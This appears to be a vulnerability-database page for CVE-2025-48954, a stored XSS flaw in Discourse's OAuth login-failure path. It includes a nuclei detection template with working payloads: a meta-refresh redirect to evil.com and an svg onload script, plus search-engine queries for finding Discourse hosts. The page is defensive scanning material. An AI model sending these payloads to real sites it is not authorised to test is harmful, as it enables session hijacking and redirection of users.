Browse / CVEs / CVE-2025-48954
CVE-2025-48954· CWE-79
Discourse OAuth Social Login - Cross-site Scripting
Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.
Impact
Attackers can inject malicious scripts through the provider parameter in OAuth login failures, executing JavaScript in victim browsers and potentially achieving session hijacking.
Fix
Update the discourse to version 3.5.0.beta6 or later.
How to confirm it
Send: GET {{BaseURL}}/auth/failure?provider={{redirect_payload}} ; GET {{BaseURL}}/auth/failure?provider={{basic_xss}}
Positive when: contains(body, "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.com\">") and contains(to_lower(body), "discourse") and status_code == 200 OR contains(body, "onload=alert(") and contains(body, "XSS-CVE-2025-48954") and contains(to_lower(body), "discourse") and status_code == 200 and !contains(to_lower(header), "content-security-policy")Run it with nuclei: nuclei -id CVE-2025-48954 -u <target>
The full check
id: CVE-2025-48954
info:
name: Discourse OAuth Social Login - Cross-site Scripting
author: ferreiraklet,DhiyaneshDK,pdresearch
severity: high
description: |
Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.
impact: |
Attackers can inject malicious scripts through the provider parameter in OAuth login failures, executing JavaScript in victim browsers and potentially achieving session hijacking.
remediation: Update the discourse to version 3.5.0.beta6 or later.
reference:
- https://github.com/discourse/discourse/security/advisories/GHSA-26p5-mjjh-wfcf
- https://nvd.nist.gov/vuln/detail/CVE-2025-48954
classification:
cve-id: CVE-2025-48954
cwe-id: CWE-79
epss-score: 0.00736
epss-percentile: 0.54798
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
cvss-score: 8.1
cpe: cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
shodan-query: http.component:"Discourse"
fofa-query: app="Discourse"
zoomeye-query: app:"Discourse"
hunter-query: web.title="Discourse"
tags: cve,cve2025,discourse,xss,oauth,vuln
variables:
# XSS payloads for different exploitation scenarios
redirect_payload: "%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A//evil.com%22%3E"
basic_xss: "<svg/onload=alert('XSS-CVE-2025-48954')>"
http:
- method: GET
path:
# Test 1: Open redirect via meta refresh injection
- '{{BaseURL}}/auth/failure?provider={{redirect_payload}}'
# Test 2: Basic XSS payload injection
- '{{BaseURL}}/auth/failure?provider={{basic_xss}}'
matchers:
- type: dsl
name: open-redirect-meta-refresh
dsl:
- 'contains(body, "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.com\">")'
- 'contains(to_lower(body), "discourse")'
- 'status_code == 200'
condition: and
- type: dsl
name: basic-xss-execution
dsl:
- 'contains(body, "onload=alert(")'
- 'contains(body, "XSS-CVE-2025-48954")'
- 'contains(to_lower(body), "discourse")'
- 'status_code == 200'
- '!contains(to_lower(header), "content-security-policy")'
condition: and
extractors:
- type: regex
name: discourse_version
group: 1
regex:
- '<meta name="generator" content="Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
- "(?i)discourse['\"]?\\s*:\\s*['\"]?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
- "(?i)x-discourse-version:\\s*([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
- '"version"\\s*:\\s*"([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"'
- '<!-- Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
- '/assets/discourse-([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
- "(?i)discourse[^\"']*?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"References
- https://github.com/discourse/discourse/security/advisories/GHSA-26p5-mjjh-wfcf
- https://nvd.nist.gov/vuln/detail/CVE-2025-48954
Use this check only on systems you are authorised to test. Where the data comes from